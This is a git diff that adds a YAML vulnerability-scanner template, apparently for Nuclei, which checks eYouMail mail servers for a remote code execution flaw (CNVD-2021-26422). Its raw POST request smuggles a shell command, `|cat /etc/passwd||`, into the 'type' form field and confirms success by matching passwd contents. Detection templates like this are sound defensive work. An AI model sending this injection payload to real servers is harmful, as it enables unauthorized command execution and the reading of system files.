diff --git a/cnvd/2021/CNVD-2021-26422.yaml b/cnvd/2021/CNVD-2021-26422.yaml
new file mode 100644
index 0000000000..d6359ff64e
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+++ b/cnvd/2021/CNVD-2021-26422.yaml
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+id: CNVD-2021-26422
+
+info:
+  name: eYouMail - Remote Code Execution
+  author: daffainfo
+  severity: critical
+  reference:
+    - https://github.com/ltfafei/my_POC/blob/master/CNVD-2021-26422_eYouMail/CNVD-2021-26422_eYouMail_RCE_POC.py
+    - https://github.com/EdgeSecurityTeam/Vulnerability/blob/main/%E4%BA%BF%E9%82%AE%E9%82%AE%E4%BB%B6%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20(CNVD-2021-26422).md
+  tags: eyoumail,rce,cnvd,cnvd2021
+
+requests:
+  - raw:
+      - |
+        POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        type='|cat /etc/passwd||'
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200